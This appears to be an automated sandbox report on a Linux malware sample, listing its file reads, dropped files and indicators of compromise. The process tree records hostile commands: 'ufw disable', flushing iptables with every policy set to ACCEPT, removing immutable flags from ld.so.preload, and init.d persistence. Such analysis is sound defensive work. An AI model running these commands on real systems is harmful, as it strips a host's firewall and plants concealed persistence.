Reads hardware information 1 TTPs 64 IoCs
Accesses system info like serial numbers, manufacturer names etc.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/board_version Process not Found File opened for reading /sys/devices/virtual/dmi/id/product_uuid service-agent File opened for reading /sys/devices/virtual/dmi/id/board_version Process not Found File opened for reading /sys/devices/virtual/dmi/id/product_serial Process not Found File opened for reading /sys/devices/virtual/dmi/id/board_name Process not Found File opened for reading /sys/devices/virtual/dmi/id/chassis_serial service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_version service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_date Process not Found File opened for reading /sys/devices/virtual/dmi/id/board_serial Process not Found File opened for reading /sys/devices/virtual/dmi/id/board_serial Process not Found File opened for reading /sys/devices/virtual/dmi/id/product_version Process not Found File opened for reading /sys/devices/virtual/dmi/id/board_name service-agent File opened for reading /sys/devices/virtual/dmi/id/product_serial service-agent File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag Process not Found File opened for reading /sys/devices/virtual/dmi/id/bios_date service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_version service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag Process not Found File opened for reading /sys/devices/virtual/dmi/id/board_name service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/product_version Process not Found File opened for reading /sys/devices/virtual/dmi/id/chassis_serial Process not Found File opened for reading /sys/devices/virtual/dmi/id/board_version service-agent File opened for reading /sys/devices/virtual/dmi/id/board_version service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_serial service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag Process not Found File opened for reading /sys/devices/virtual/dmi/id/chassis_type Process not Found File opened for reading /sys/devices/virtual/dmi/id/product_version Process not Found File opened for reading /sys/devices/virtual/dmi/id/board_name Process not Found File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/bios_version Process not Found File opened for reading /sys/devices/virtual/dmi/id/chassis_type Process not Found File opened for reading /sys/devices/virtual/dmi/id/chassis_type service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/product_serial Process not Found File opened for reading /sys/devices/virtual/dmi/id/board_serial service-agent File opened for reading /sys/devices/virtual/dmi/id/product_serial service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_serial Process not Found File opened for reading /sys/devices/virtual/dmi/id/product_serial Process not Found File opened for reading /sys/devices/virtual/dmi/id/product_version service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/board_version Process not Found File opened for reading /sys/devices/virtual/dmi/id/board_version service-agent File opened for reading /sys/devices/virtual/dmi/id/product_serial service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_version service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/board_version Process not Found File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_date service-agent File opened for reading /sys/devices/virtual/dmi/id/board_name Process not Found File opened for reading /sys/devices/virtual/dmi/id/chassis_version Process not Found File opened for reading /sys/devices/virtual/dmi/id/board_serial Process not Found File opened for reading /sys/devices/virtual/dmi/id/chassis_version service-agent File opened for reading /sys/devices/virtual/dmi/id/product_serial service-agent File opened for reading /sys/devices/virtual/dmi/id/board_version service-agent File opened for reading /sys/devices/virtual/dmi/id/board_version Process not Found File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_version service-agent File opened for reading /sys/devices/virtual/dmi/id/board_serial service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag service-agent File opened for reading /sys/devices/virtual/dmi/id/board_serial Process not Found File opened for reading /sys/devices/virtual/dmi/id/bios_version service-agent File opened for reading /sys/devices/virtual/dmi/id/board_version service-agent File opened for reading /sys/devices/virtual/dmi/id/product_uuid service-agent -
Writes file to system bin folder 1 TTPs 39 IoCs
description ioc Process File opened for modification /bin/bprofr cp File opened for modification /bin/sysdr cp File opened for modification /bin/bprofr Process not Found File opened for modification /bin/crondr Process not Found File opened for modification /bin/initdr Process not Found File opened for modification /bin/initdr Process not Found File opened for modification /bin/bprofr Process not Found File opened for modification /bin/initdr Process not Found File opened for modification /bin/sysdr cp File opened for modification /bin/sysdr cp File opened for modification /bin/bprofr cp File opened for modification /bin/initdr cp File opened for modification /bin/knlib5 bin.elf File opened for modification /bin/crondr cp File opened for modification /bin/initdr cp File opened for modification /bin/bprofr cp File opened for modification /bin/sysdr cp File opened for modification /bin/bprofr cp File opened for modification /bin/initdr cp File opened for modification /bin/initdr Process not Found File opened for modification /bin/crondr cp File opened for modification /bin/sysdr cp File opened for modification /bin/sysdr Process not Found File opened for modification /bin/sysdr Process not Found File opened for modification /bin/bprofr Process not Found File opened for modification /bin/sysdr Process not Found File opened for modification /bin/sysdr Process not Found File opened for modification /bin/initdr cp File opened for modification /bin/sysdr cp File opened for modification /bin/bprofr cp File opened for modification /bin/bprofr Process not Found File opened for modification /bin/initdr cp File opened for modification /bin/crondr Process not Found File opened for modification /bin/sysdr Process not Found File opened for modification /bin/bprofr cp File opened for modification /bin/bprofr cp File opened for modification /bin/bprofr Process not Found File opened for modification /bin/initdr cp File opened for modification /bin/initdr cp -
Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/shared_cpu_map Process not Found File opened for reading /sys/devices/system/node/online Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/physical_line_partition Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cpufreq/base_frequency service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/type service-agent File opened for reading /sys/bus/dax/devices service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/coherency_line_size service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/coherency_line_size service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/type service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/number_of_sets service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cpufreq/cpuinfo_max_freq service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/shared_cpu_map Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index9/shared_cpu_map Process not Found File opened for reading /sys/bus/node/devices/node0/hugepages/hugepages-2048kB/nr_hugepages service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/number_of_sets service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/coherency_line_size service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/coherency_line_size service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/physical_line_partition Process not Found File opened for reading /sys/devices/system/node/online Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index4/shared_cpu_map Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/size service-agent File opened for reading /sys/bus/cpu/devices/cpu0/topology/core_id service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/coherency_line_size service-agent File opened for reading /sys/bus/node/devices/node0/access0/initiators/read_bandwidth service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/number_of_sets Process not Found File opened for reading /sys/bus/node/devices/node0/meminfo Process not Found File opened for reading /sys/bus/node/devices/node0/cpumap Process not Found File opened for reading /sys/bus/dax/devices/target_node service-agent File opened for reading /sys/bus/node/devices/node0/access1/initiators service-agent File opened for reading /sys/kernel/mm/hugepages service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/number_of_sets service-agent File opened for reading /sys/bus/dax/devices service-agent File opened for reading /sys/bus/node/devices/node0/access1/initiators Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/number_of_sets Process not Found File opened for reading /sys/devices/virtual/dmi/id Process not Found File opened for reading /sys/bus/node/devices/node0/access0/initiators service-agent File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/fs/cgroup/cpuset/cpuset.mems Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/coherency_line_size Process not Found File opened for reading /sys/bus/node/devices/node0/hugepages/hugepages-2048kB/nr_hugepages Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index6/shared_cpu_map service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/size service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/type Process not Found File opened for reading /sys/bus/dax/target_node service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/level Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/physical_line_partition Process not Found File opened for reading /sys/bus/node/devices/node0/access0/initiators Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/number_of_sets Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index8/shared_cpu_map service-agent File opened for reading /sys/bus/node/devices/node0/access1/initiators service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/shared_cpu_map service-agent File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/type Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/coherency_line_size Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/shared_cpu_map service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/shared_cpu_map service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/level Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/topology/die_cpus service-agent File opened for reading /sys/fs/cgroup/cpuset/cpuset.cpus Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index6/shared_cpu_map Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/shared_cpu_map service-agent File opened for reading /sys/bus/dax/devices service-agent File opened for reading /sys/bus/node/devices/node0/hugepages/hugepages-2048kB/nr_hugepages service-agent -
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
description ioc Process File opened for reading /proc/22/status ps File opened for reading /proc/503/status Process not Found File opened for reading /proc/102/stat Process not Found File opened for reading /proc/802/cmdline pgrep File opened for reading /proc/982/status ps File opened for reading /proc/440/status ps File opened for reading /proc/1082/cmdline pkill File opened for reading /proc/1762/stat ps File opened for reading /proc/14/cmdline ps File opened for reading /proc/1124/stat ps File opened for reading /proc/397/status Process not Found File opened for reading /proc/167/status ps File opened for reading /proc/75/stat Process not Found File opened for reading /proc/1175/status Process not Found File opened for reading /proc/5689/stat Process not Found File opened for reading /proc/829/stat ps File opened for reading /proc/641/stat Process not Found File opened for reading /proc/617/status Process not Found File opened for reading /proc/173/stat ps File opened for reading /proc/1316/status ps File opened for reading /proc/1115/cmdline ps File opened for reading /proc/165/cmdline pkill File opened for reading /proc/9/status pkill File opened for reading /proc/448/cmdline ps File opened for reading /proc/1410/cmdline ps File opened for reading /proc/76/cmdline ps File opened for reading /proc/675/cmdline Process not Found File opened for reading /proc/635/status Process not Found File opened for reading /proc/8/status Process not Found File opened for reading /proc/177/stat Process not Found File opened for reading /proc/1131/stat Process not Found File opened for reading /proc/1505/status Process not Found File opened for reading /proc/968/status ps File opened for reading /proc/1041/cmdline Process not Found File opened for reading /proc/669/status Process not Found File opened for reading /proc/1/sched systemctl File opened for reading /proc/617/stat ps File opened for reading /proc/5507/status Process not Found File opened for reading /proc/456/stat Process not Found File opened for reading /proc/499/stat ps File opened for reading /proc/1081/stat ps File opened for reading /proc/587/status ps File opened for reading /proc/72/cmdline pkill File opened for reading /proc/159/cmdline pkill File opened for reading /proc/1130/status pkill File opened for reading /proc/802/status Process not Found File opened for reading /proc/8/cmdline ps File opened for reading /proc/9/stat ps File opened for reading /proc/164/cmdline ps File opened for reading /proc/485/status Process not Found File opened for reading /proc/1474/status Process not Found File opened for reading /proc/982/status ps File opened for reading /proc/1505/cmdline Process not Found File opened for reading /proc/1078/status ps File opened for reading /proc/895/status Process not Found File opened for reading /proc/1028/cmdline ps File opened for reading /proc/1075/status ps File opened for reading /proc/1077/status Process not Found File opened for reading /proc/804/stat ps File opened for reading /proc/440/cmdline ps File opened for reading /proc/613/cmdline ps File opened for reading /proc/89/status Process not Found File opened for reading /proc/586/status Process not Found File opened for reading /proc/481/status Process not Found -
Writes file to shm directory 1 IoCs
Malware can drop malicious files in the shm directory which will run directly from RAM.
description ioc File opened for modification /dev/shm/.klibsystem5 -
Writes file to tmp directory 40 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/sys-helper Process not Found File opened for modification /tmp/.bashirc sys-helper File opened for modification /tmp/.lock service-agent File opened for modification /tmp/.bashirc sys-helper File opened for modification /tmp/.bashirc sys-helper File opened for modification /tmp/.bashirc Process not Found File opened for modification /tmp/.lock service-agent File opened for modification /tmp/.lock Process not Found File opened for modification /tmp/.lock service-agent File opened for modification /tmp/~/.bash_profile sh File opened for modification /tmp/.bashirc Process not Found File opened for modification /tmp/~/.bash_profile Process not Found File opened for modification /tmp/.bashirc Process not Found File opened for modification /tmp/.lock Process not Found File opened for modification /tmp/.bashirc sys-helper File opened for modification /tmp/~/.bash_profile sh File opened for modification /tmp/.bashirc Process not Found File opened for modification /tmp/.lock Process not Found File opened for modification /tmp/.bashirc Process not Found File opened for modification /tmp/~/.bash_profile Process not Found File opened for modification /tmp/.bashirc sys-helper File opened for modification /tmp/.lock service-agent File opened for modification /tmp/~/.bash_profile sh File opened for modification /tmp/.bashirc sys-helper File opened for modification /tmp/.lock Process not Found File opened for modification /tmp/service-agent Process not Found File opened for modification /tmp/.klibsystem5 Process not Found File opened for modification /tmp/~/.bash_profile Process not Found File opened for modification /tmp/~/.bash_profile sh File opened for modification /tmp/.lock service-agent File opened for modification /tmp/~/.bash_profile sh File opened for modification /tmp/.bashirc sys-helper File opened for modification /tmp/~/.bash_profile sh File opened for modification /tmp/~/.bash_profile Process not Found File opened for modification /tmp/sys-helper bin.elf File opened for modification /tmp/service-agent bin.elf File opened for modification /tmp/.lock service-agent File opened for modification /tmp/~/.bash_profile Process not Found File opened for modification /tmp/.lock Process not Found File opened for modification /tmp/.lock Process not Found -
GoLang User-Agent 2 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
description flow ioc HTTP User-Agent header 65 Go-http-client/1.1 HTTP User-Agent header 70 Go-http-client/1.1
Processes
-
/tmp/bin.elf/tmp/bin.elf1⤵
- Creates/modifies Cron job
- Modifies init.d
- Modifies systemd
- Writes file to system bin folder
- Writes file to tmp directory
PID:1498 -
/usr/bin/bashbash -c "ufw disable"2⤵PID:1503
-
-
/usr/sbin/ufwufw disable2⤵
- Flushes firewall rules
PID:1503 -
/usr/sbin/iptables/usr/sbin/iptables -V3⤵PID:1508
-
-
/lib/ufw/ufw-init/lib/ufw/ufw-init force-stop3⤵PID:1509
-
/sbin/ip6tablesip6tables -L INPUT -n4⤵PID:1510
-
/sbin/modprobe/sbin/modprobe ip6_tables5⤵
- Loads a kernel module
PID:1511
-
-
-
/sbin/iptablesiptables -F ufw-logging-deny4⤵PID:1513
-
-
/sbin/iptablesiptables -F ufw-logging-allow4⤵PID:1517
-
-
/sbin/iptablesiptables -F ufw-not-local4⤵PID:1518
-
-
/sbin/iptablesiptables -F ufw-user-logging-input4⤵PID:1519
-
-
/sbin/iptablesiptables -F ufw-user-limit-accept4⤵PID:1520
-
-
/sbin/iptablesiptables -F ufw-user-limit4⤵PID:1521
-
-
/sbin/iptablesiptables -F ufw-skip-to-policy-input4⤵PID:1522
-
-
/sbin/iptablesiptables -F ufw-reject-input4⤵PID:1523
-
-
/sbin/iptablesiptables -F ufw-after-logging-input4⤵PID:1524
-
-
/sbin/iptablesiptables -F ufw-after-input4⤵PID:1525
-
-
/sbin/iptablesiptables -F ufw-user-input4⤵PID:1526
-
-
/sbin/iptablesiptables -F ufw-before-input4⤵PID:1527
-
-
/sbin/iptablesiptables -F ufw-before-logging-input4⤵PID:1528
-
-
/sbin/iptablesiptables -F ufw-skip-to-policy-forward4⤵PID:1529
-
-
/sbin/iptablesiptables -F ufw-reject-forward4⤵PID:1530
-
-
/sbin/iptablesiptables -F ufw-after-logging-forward4⤵PID:1531
-
-
/sbin/iptablesiptables -F ufw-after-forward4⤵PID:1532
-
-
/sbin/iptablesiptables -F ufw-user-logging-forward4⤵PID:1533
-
-
/sbin/iptablesiptables -F ufw-user-forward4⤵PID:1534
-
-
/sbin/iptablesiptables -F ufw-before-forward4⤵PID:1535
-
-
/sbin/iptablesiptables -F ufw-before-logging-forward4⤵PID:1536
-
-
/sbin/iptablesiptables -F ufw-track-forward4⤵PID:1537
-
-
/sbin/iptablesiptables -F ufw-track-output4⤵PID:1538
-
-
/sbin/iptablesiptables -F ufw-track-input4⤵PID:1539
-
-
/sbin/iptablesiptables -F ufw-skip-to-policy-output4⤵PID:1540
-
-
/sbin/iptablesiptables -F ufw-reject-output4⤵PID:1541
-
-
/sbin/iptablesiptables -F ufw-after-logging-output4⤵PID:1542
-
-
/sbin/iptablesiptables -F ufw-after-output4⤵PID:1543
-
-
/sbin/iptablesiptables -F ufw-user-logging-output4⤵PID:1544
-
-
/sbin/iptablesiptables -F ufw-user-output4⤵PID:1545
-
-
/sbin/iptablesiptables -F ufw-before-output4⤵PID:1546
-
-
/sbin/iptablesiptables -F ufw-before-logging-output4⤵PID:1547
-
-
/sbin/iptablesiptables -Z ufw-logging-deny4⤵PID:1548
-
-
/sbin/iptablesiptables -Z ufw-logging-allow4⤵PID:1549
-
-
/sbin/iptablesiptables -Z ufw-not-local4⤵PID:1550
-
-
/sbin/iptablesiptables -Z ufw-user-logging-input4⤵PID:1551
-
-
/sbin/iptablesiptables -Z ufw-user-limit-accept4⤵PID:1552
-
-
/sbin/iptablesiptables -Z ufw-user-limit4⤵PID:1553
-
-
/sbin/iptablesiptables -Z ufw-skip-to-policy-input4⤵PID:1554
-
-
/sbin/iptablesiptables -Z ufw-reject-input4⤵PID:1555
-
-
/sbin/iptablesiptables -Z ufw-after-logging-input4⤵PID:1556
-
-
/sbin/iptablesiptables -Z ufw-after-input4⤵PID:1557
-
-
/sbin/iptablesiptables -Z ufw-user-input4⤵PID:1558
-
-
/sbin/iptablesiptables -Z ufw-before-input4⤵PID:1559
-
-
/sbin/iptablesiptables -Z ufw-before-logging-input4⤵PID:1560
-
-
/sbin/iptablesiptables -Z ufw-skip-to-policy-forward4⤵PID:1561
-
-
/sbin/iptablesiptables -Z ufw-reject-forward4⤵PID:1562
-
-
/sbin/iptablesiptables -Z ufw-after-logging-forward4⤵PID:1563
-
-
/sbin/iptablesiptables -Z ufw-after-forward4⤵PID:1564
-
-
/sbin/iptablesiptables -Z ufw-user-logging-forward4⤵PID:1565
-
-
/sbin/iptablesiptables -Z ufw-user-forward4⤵PID:1566
-
-
/sbin/iptablesiptables -Z ufw-before-forward4⤵PID:1567
-
-
/sbin/iptablesiptables -Z ufw-before-logging-forward4⤵PID:1568
-
-
/sbin/iptablesiptables -Z ufw-track-forward4⤵PID:1569
-
-
/sbin/iptablesiptables -Z ufw-track-output4⤵PID:1570
-
-
/sbin/iptablesiptables -Z ufw-track-input4⤵PID:1571
-
-
/sbin/iptablesiptables -Z ufw-skip-to-policy-output4⤵PID:1572
-
-
/sbin/iptablesiptables -Z ufw-reject-output4⤵PID:1573
-
-
/sbin/iptablesiptables -Z ufw-after-logging-output4⤵PID:1574
-
-
/sbin/iptablesiptables -Z ufw-after-output4⤵PID:1575
-
-
/sbin/iptablesiptables -Z ufw-user-logging-output4⤵PID:1576
-
-
/sbin/iptablesiptables -Z ufw-user-output4⤵PID:1577
-
-
/sbin/iptablesiptables -Z ufw-before-output4⤵PID:1578
-
-
/sbin/iptablesiptables -Z ufw-before-logging-output4⤵PID:1579
-
-
/sbin/iptablesiptables -X ufw-logging-deny4⤵PID:1580
-
-
/sbin/iptablesiptables -X ufw-logging-allow4⤵PID:1581
-
-
/sbin/iptablesiptables -X ufw-not-local4⤵PID:1582
-
-
/sbin/iptablesiptables -X ufw-user-logging-input4⤵PID:1583
-
-
/sbin/iptablesiptables -X ufw-user-logging-output4⤵PID:1584
-
-
/sbin/iptablesiptables -X ufw-user-logging-forward4⤵PID:1585
-
-
/sbin/iptablesiptables -X ufw-user-limit-accept4⤵PID:1586
-
-
/sbin/iptablesiptables -X ufw-user-limit4⤵PID:1587
-
-
/sbin/iptablesiptables -X ufw-user-input4⤵PID:1588
-
-
/sbin/iptablesiptables -X ufw-user-forward4⤵PID:1589
-
-
/sbin/iptablesiptables -X ufw-user-output4⤵PID:1590
-
-
/sbin/iptablesiptables -X ufw-skip-to-policy-input4⤵PID:1591
-
-
/sbin/iptablesiptables -X ufw-skip-to-policy-output4⤵PID:1592
-
-
/sbin/iptablesiptables -X ufw-skip-to-policy-forward4⤵PID:1593
-
-
/sbin/iptablesiptables -P INPUT ACCEPT4⤵PID:1594
-
-
/sbin/iptablesiptables -P OUTPUT ACCEPT4⤵PID:1595
-
-
/sbin/iptablesiptables -P FORWARD ACCEPT4⤵PID:1596
-
-
/sbin/ip6tablesip6tables -F ufw6-logging-deny4⤵PID:1597
-
-
/sbin/ip6tablesip6tables -F ufw6-logging-allow4⤵PID:1598
-
-
/sbin/ip6tablesip6tables -F ufw6-not-local4⤵PID:1599
-
-
/sbin/ip6tablesip6tables -F ufw6-user-logging-input4⤵PID:1600
-
-
/sbin/ip6tablesip6tables -F ufw6-user-limit-accept4⤵PID:1601
-
-
/sbin/ip6tablesip6tables -F ufw6-user-limit4⤵PID:1602
-
-
/sbin/ip6tablesip6tables -F ufw6-skip-to-policy-input4⤵PID:1603
-
-
/sbin/ip6tablesip6tables -F ufw6-reject-input4⤵PID:1604
-
-
/sbin/ip6tablesip6tables -F ufw6-after-logging-input4⤵PID:1605
-
-
/sbin/ip6tablesip6tables -F ufw6-after-input4⤵PID:1606
-
-
/sbin/ip6tablesip6tables -F ufw6-user-input4⤵PID:1607
-
-
/sbin/ip6tablesip6tables -F ufw6-before-input4⤵PID:1608
-
-
/sbin/ip6tablesip6tables -F ufw6-before-logging-input4⤵PID:1609
-
-
/sbin/ip6tablesip6tables -F ufw6-skip-to-policy-forward4⤵PID:1610
-
-
/sbin/ip6tablesip6tables -F ufw6-reject-forward4⤵PID:1611
-
-
/sbin/ip6tablesip6tables -F ufw6-after-logging-forward4⤵PID:1612
-
-
/sbin/ip6tablesip6tables -F ufw6-after-forward4⤵PID:1613
-
-
/sbin/ip6tablesip6tables -F ufw6-user-logging-forward4⤵PID:1614
-
-
/sbin/ip6tablesip6tables -F ufw6-user-forward4⤵PID:1615
-
-
/sbin/ip6tablesip6tables -F ufw6-before-forward4⤵PID:1616
-
-
/sbin/ip6tablesip6tables -F ufw6-before-logging-forward4⤵PID:1617
-
-
/sbin/ip6tablesip6tables -F ufw6-track-forward4⤵PID:1618
-
-
/sbin/ip6tablesip6tables -F ufw6-track-output4⤵PID:1619
-
-
/sbin/ip6tablesip6tables -F ufw6-track-input4⤵PID:1620
-
-
/sbin/ip6tablesip6tables -F ufw6-skip-to-policy-output4⤵PID:1621
-
-
/sbin/ip6tablesip6tables -F ufw6-reject-output4⤵PID:1622
-
-
/sbin/ip6tablesip6tables -F ufw6-after-logging-output4⤵PID:1623
-
-
/sbin/ip6tablesip6tables -F ufw6-after-output4⤵PID:1624
-
-
/sbin/ip6tablesip6tables -F ufw6-user-logging-output4⤵PID:1625
-
-
/sbin/ip6tablesip6tables -F ufw6-user-output4⤵PID:1626
-
-
/sbin/ip6tablesip6tables -F ufw6-before-output4⤵PID:1627
-
-
/sbin/ip6tablesip6tables -F ufw6-before-logging-output4⤵PID:1628
-
-
/sbin/ip6tablesip6tables -Z ufw6-logging-deny4⤵PID:1629
-
-
/sbin/ip6tablesip6tables -Z ufw6-logging-allow4⤵PID:1630
-
-
/sbin/ip6tablesip6tables -Z ufw6-not-local4⤵PID:1631
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-logging-input4⤵PID:1632
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-limit-accept4⤵PID:1633
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-limit4⤵PID:1634
-
-
/sbin/ip6tablesip6tables -Z ufw6-skip-to-policy-input4⤵PID:1635
-
-
/sbin/ip6tablesip6tables -Z ufw6-reject-input4⤵PID:1636
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-logging-input4⤵PID:1637
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-input4⤵PID:1638
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-input4⤵PID:1639
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-input4⤵PID:1640
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-logging-input4⤵PID:1641
-
-
/sbin/ip6tablesip6tables -Z ufw6-skip-to-policy-forward4⤵PID:1642
-
-
/sbin/ip6tablesip6tables -Z ufw6-reject-forward4⤵PID:1645
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-logging-forward4⤵PID:1646
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-forward4⤵PID:1647
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-logging-forward4⤵PID:1648
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-forward4⤵PID:1649
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-forward4⤵PID:1650
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-logging-forward4⤵PID:1651
-
-
/sbin/ip6tablesip6tables -Z ufw6-track-forward4⤵PID:1652
-
-
/sbin/ip6tablesip6tables -Z ufw6-track-output4⤵PID:1653
-
-
/sbin/ip6tablesip6tables -Z ufw6-track-input4⤵PID:1654
-
-
/sbin/ip6tablesip6tables -Z ufw6-skip-to-policy-output4⤵PID:1655
-
-
/sbin/ip6tablesip6tables -Z ufw6-reject-output4⤵PID:1656
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-logging-output4⤵PID:1657
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-output4⤵PID:1658
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-logging-output4⤵PID:1659
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-output4⤵PID:1660
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-output4⤵PID:1661
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-logging-output4⤵PID:1662
-
-
/sbin/ip6tablesip6tables -X ufw6-logging-deny4⤵PID:1663
-
-
/sbin/ip6tablesip6tables -X ufw6-logging-allow4⤵PID:1664
-
-
/sbin/ip6tablesip6tables -X ufw6-not-local4⤵PID:1665
-
-
/sbin/ip6tablesip6tables -X ufw6-user-logging-input4⤵PID:1666
-
-
/sbin/ip6tablesip6tables -X ufw6-user-logging-output4⤵PID:1667
-
-
/sbin/ip6tablesip6tables -X ufw6-user-logging-forward4⤵PID:1668
-
-
/sbin/ip6tablesip6tables -X ufw6-user-limit-accept4⤵PID:1669
-
-
/sbin/ip6tablesip6tables -X ufw6-user-limit4⤵PID:1670
-
-
/sbin/ip6tablesip6tables -X ufw6-user-input4⤵PID:1671
-
-
/sbin/ip6tablesip6tables -X ufw6-user-forward4⤵PID:1672
-
-
/sbin/ip6tablesip6tables -X ufw6-user-output4⤵PID:1673
-
-
/sbin/ip6tablesip6tables -X ufw6-skip-to-policy-input4⤵PID:1674
-
-
/sbin/ip6tablesip6tables -X ufw6-skip-to-policy-output4⤵PID:1675
-
-
/sbin/ip6tablesip6tables -X ufw6-skip-to-policy-forward4⤵PID:1676
-
-
/sbin/ip6tablesip6tables -P INPUT ACCEPT4⤵PID:1677
-
-
/sbin/ip6tablesip6tables -P OUTPUT ACCEPT4⤵PID:1678
-
-
/sbin/ip6tablesip6tables -P FORWARD ACCEPT4⤵PID:1679
-
-
-
-
/usr/bin/bashbash -c "iptables -P INPUT ACCEPT"2⤵PID:1681
-
-
/usr/sbin/iptablesiptables -P INPUT ACCEPT2⤵PID:1681
-
-
/usr/bin/bashbash -c "iptables -P OUTPUT ACCEPT"2⤵PID:1682
-
-
/usr/sbin/iptablesiptables -P OUTPUT ACCEPT2⤵PID:1682
-
-
/usr/bin/bashbash -c "iptables -P FORWARD ACCEPT"2⤵PID:1683
-
-
/usr/sbin/iptablesiptables -P FORWARD ACCEPT2⤵PID:1683
-
-
/usr/bin/bashbash -c "iptables -F"2⤵PID:1684
-
-
/usr/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:1684
-
-
/usr/bin/bashbash -c "chattr -ia /etc/ld.so.preload"2⤵PID:1685
-
-
/usr/bin/chattrchattr -ia /etc/ld.so.preload2⤵
- Attempts to change immutable files
PID:1685
-
-
/usr/bin/pgreppgrep -f klibsystem42⤵PID:1686
-
-
/usr/bin/pgreppgrep -f klibsystem52⤵
- Reads CPU attributes
- Reads runtime system information
PID:1687
-
-
/usr/bin/chattrchattr +ia /etc/init.d/knlib2⤵PID:1688
-
-
/etc/init.d/knlib/etc/init.d/knlib start2⤵
- Executes dropped EXE
PID:1689 -
/usr/bin/cpcp -f -r -- /bin/knlib5 /bin/klibsystem53⤵PID:1690
-
-
